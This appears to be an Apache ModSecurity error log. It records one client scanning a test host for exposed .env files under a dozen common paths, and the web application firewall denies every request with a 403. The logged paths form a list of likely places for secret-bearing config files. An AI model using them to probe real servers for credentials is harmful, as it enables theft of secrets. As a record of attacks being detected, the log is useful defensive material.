[Fri Sep 05 13:55:02.211446 2025] [:error] [pid 2495324] [client 35.180.191.10:40880] [client 35.180.191.10] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /exapi/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/exapi/.env&quot;] [unique_id &quot;aLrPlmcf05t5foPUZx32DAAAAAk&quot;], referer: https://www.google.com/
[Fri Sep 05 13:55:02.211714 2025] [:error] [pid 2495324] [client 35.180.191.10:40880] [client 35.180.191.10] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/exapi/.env&quot;] [unique_id &quot;aLrPlmcf05t5foPUZx32DAAAAAk&quot;], referer: https://www.google.com/
[Fri Sep 05 13:55:02.211908 2025] [:error] [pid 2495324] [client 35.180.191.10:40880] [client 35.180.191.10] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/exapi/.env&quot;] [unique_id &quot;aLrPlmcf05t5foPUZx32DAAAAAk&quot;], referer: https://www.google.com/
[Fri Sep 05 13:55:02.266116 2025] [:error] [pid 2495324] [client 35.180.191.10:40880] [client 35.180.191.10] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /site/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site/.env&quot;] [unique_id &quot;aLrPlmcf05t5foPUZx32DQAAAAk&quot;], referer: https://www.google.com/
[Fri Sep 05 13:55:02.266388 2025] [:error] [pid 2495324] [client 35.180.191.10:40880] [client 35.180.191.10] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site/.env&quot;] [unique_id &quot;aLrPlmcf05t5foPUZx32DQAAAAk&quot;], referer: https://www.google.com/
[Fri Sep 05 13:55:02.266564 2025] [:error] [pid 2495324] [client 35.180.191.10:40880] [client 35.180.191.10] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site/.env&quot;] [unique_id &quot;aLrPlmcf05t5foPUZx32DQAAAAk&quot;], referer: https://www.google.com/
[Fri Sep 05 13:55:02.321142 2025] [:error] [pid 2495324] [client 35.180.191.10:40880] [client 35.180.191.10] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /admin/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.env&quot;] [unique_id &quot;aLrPlmcf05t5foPUZx32DgAAAAk&quot;], referer: https://www.google.com/
[Fri Sep 05 13:55:02.321394 2025] [:error] [pid 2495324] [client 35.180.191.10:40880] [client 35.180.191.10] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.env&quot;] [unique_id &quot;aLrPlmcf05t5foPUZx32DgAAAAk&quot;], referer: https://www.google.com/
[Fri Sep 05 13:55:02.321557 2025] [:error] [pid 2495324] [client 35.180.191.10:40880] [client 35.180.191.10] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.env&quot;] [unique_id &quot;aLrPlmcf05t5foPUZx32DgAAAAk&quot;], referer: https://www.google.com/
[Fri Sep 05 13:55:02.375387 2025] [:error] [pid 2495324] [client 35.180.191.10:40880] [client 35.180.191.10] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /web/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web/.env&quot;] [unique_id &quot;aLrPlmcf05t5foPUZx32DwAAAAk&quot;], referer: https://www.google.com/
[Fri Sep 05 13:55:02.375669 2025] [:error] [pid 2495324] [client 35.180.191.10:40880] [client 35.180.191.10] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web/.env&quot;] [unique_id &quot;aLrPlmcf05t5foPUZx32DwAAAAk&quot;], referer: https://www.google.com/
[Fri Sep 05 13:55:02.375843 2025] [:error] [pid 2495324] [client 35.180.191.10:40880] [client 35.180.191.10] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web/.env&quot;] [unique_id &quot;aLrPlmcf05t5foPUZx32DwAAAAk&quot;], referer: https://www.google.com/
[Fri Sep 05 13:55:02.431875 2025] [:error] [pid 2495324] [client 35.180.191.10:40880] [client 35.180.191.10] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /public/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/public/.env&quot;] [unique_id &quot;aLrPlmcf05t5foPUZx32EAAAAAk&quot;], referer: https://www.google.com/
[Fri Sep 05 13:55:02.432138 2025] [:error] [pid 2495324] [client 35.180.191.10:40880] [client 35.180.191.10] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/public/.env&quot;] [unique_id &quot;aLrPlmcf05t5foPUZx32EAAAAAk&quot;], referer: https://www.google.com/
[Fri Sep 05 13:55:02.432317 2025] [:error] [pid 2495324] [client 35.180.191.10:40880] [client 35.180.191.10] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/public/.env&quot;] [unique_id &quot;aLrPlmcf05t5foPUZx32EAAAAAk&quot;], referer: https://www.google.com/
[Fri Sep 05 13:55:02.488927 2025] [:error] [pid 2495324] [client 35.180.191.10:40880] [client 35.180.191.10] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /en/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/en/.env&quot;] [unique_id &quot;aLrPlmcf05t5foPUZx32EQAAAAk&quot;], referer: https://www.google.com/
[Fri Sep 05 13:55:02.489174 2025] [:error] [pid 2495324] [client 35.180.191.10:40880] [client 35.180.191.10] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/en/.env&quot;] [unique_id &quot;aLrPlmcf05t5foPUZx32EQAAAAk&quot;], referer: https://www.google.com/
[Fri Sep 05 13:55:02.489344 2025] [:error] [pid 2495324] [client 35.180.191.10:40880] [client 35.180.191.10] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/en/.env&quot;] [unique_id &quot;aLrPlmcf05t5foPUZx32EQAAAAk&quot;], referer: https://www.google.com/
[Fri Sep 05 13:55:02.543380 2025] [:error] [pid 2495324] [client 35.180.191.10:40880] [client 35.180.191.10] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /tools/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tools/.env&quot;] [unique_id &quot;aLrPlmcf05t5foPUZx32EgAAAAk&quot;], referer: https://www.google.com/
[Fri Sep 05 13:55:02.543646 2025] [:error] [pid 2495324] [client 35.180.191.10:40880] [client 35.180.191.10] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tools/.env&quot;] [unique_id &quot;aLrPlmcf05t5foPUZx32EgAAAAk&quot;], referer: https://www.google.com/
[Fri Sep 05 13:55:02.543825 2025] [:error] [pid 2495324] [client 35.180.191.10:40880] [client 35.180.191.10] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tools/.env&quot;] [unique_id &quot;aLrPlmcf05t5foPUZx32EgAAAAk&quot;], referer: https://www.google.com/
[Fri Sep 05 13:55:02.598168 2025] [:error] [pid 2495324] [client 35.180.191.10:40880] [client 35.180.191.10] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /v1/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/v1/.env&quot;] [unique_id &quot;aLrPlmcf05t5foPUZx32EwAAAAk&quot;], referer: https://www.google.com/
[Fri Sep 05 13:55:02.598446 2025] [:error] [pid 2495324] [client 35.180.191.10:40880] [client 35.180.191.10] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/v1/.env&quot;] [unique_id &quot;aLrPlmcf05t5foPUZx32EwAAAAk&quot;], referer: https://www.google.com/
[Fri Sep 05 13:55:02.598633 2025] [:error] [pid 2495324] [client 35.180.191.10:40880] [client 35.180.191.10] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/v1/.env&quot;] [unique_id &quot;aLrPlmcf05t5foPUZx32EwAAAAk&quot;], referer: https://www.google.com/
[Fri Sep 05 13:55:02.653597 2025] [:error] [pid 2495324] [client 35.180.191.10:40880] [client 35.180.191.10] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /v2/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/v2/.env&quot;] [unique_id &quot;aLrPlmcf05t5foPUZx32FAAAAAk&quot;], referer: https://www.google.com/
[Fri Sep 05 13:55:02.653851 2025] [:error] [pid 2495324] [client 35.180.191.10:40880] [client 35.180.191.10] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/v2/.env&quot;] [unique_id &quot;aLrPlmcf05t5foPUZx32FAAAAAk&quot;], referer: https://www.google.com/
[Fri Sep 05 13:55:02.654020 2025] [:error] [pid 2495324] [client 35.180.191.10:40880] [client 35.180.191.10] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/v2/.env&quot;] [unique_id &quot;aLrPlmcf05t5foPUZx32FAAAAAk&quot;], referer: https://www.google.com/
[Fri Sep 05 13:55:02.708698 2025] [:error] [pid 2495324] [client 35.180.191.10:40880] [client 35.180.191.10] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /administrator/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/administrator/.env&quot;] [unique_id &quot;aLrPlmcf05t5foPUZx32FQAAAAk&quot;], referer: https://www.google.com/
[Fri Sep 05 13:55:02.708946 2025] [:error] [pid 2495324] [client 35.180.191.10:40880] [client 35.180.191.10] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/administrator/.env&quot;] [unique_id &quot;aLrPlmcf05t5foPUZx32FQAAAAk&quot;], referer: https://www.google.com/
[Fri Sep 05 13:55:02.709108 2025] [:error] [pid 2495324] [client 35.180.191.10:40880] [client 35.180.191.10] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/administrator/.env&quot;] [unique_id &quot;aLrPlmcf05t5foPUZx32FQAAAAk&quot;], referer: https://www.google.com/
[Fri Sep 05 13:55:02.763536 2025] [:error] [pid 2495324] [client 35.180.191.10:40880] [client 35.180.191.10] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /laravel/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/laravel/.env&quot;] [unique_id &quot;aLrPlmcf05t5foPUZx32FgAAAAk&quot;], referer: https://www.google.com/
[Fri Sep 05 13:55:02.763785 2025] [:error] [pid 2495324] [client 35.180.191.10:40880] [client 35.180.191.10] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/laravel/.env&quot;] [unique_id &quot;aLrPlmcf05t5foPUZx32FgAAAAk&quot;], referer: https://www.google.com/
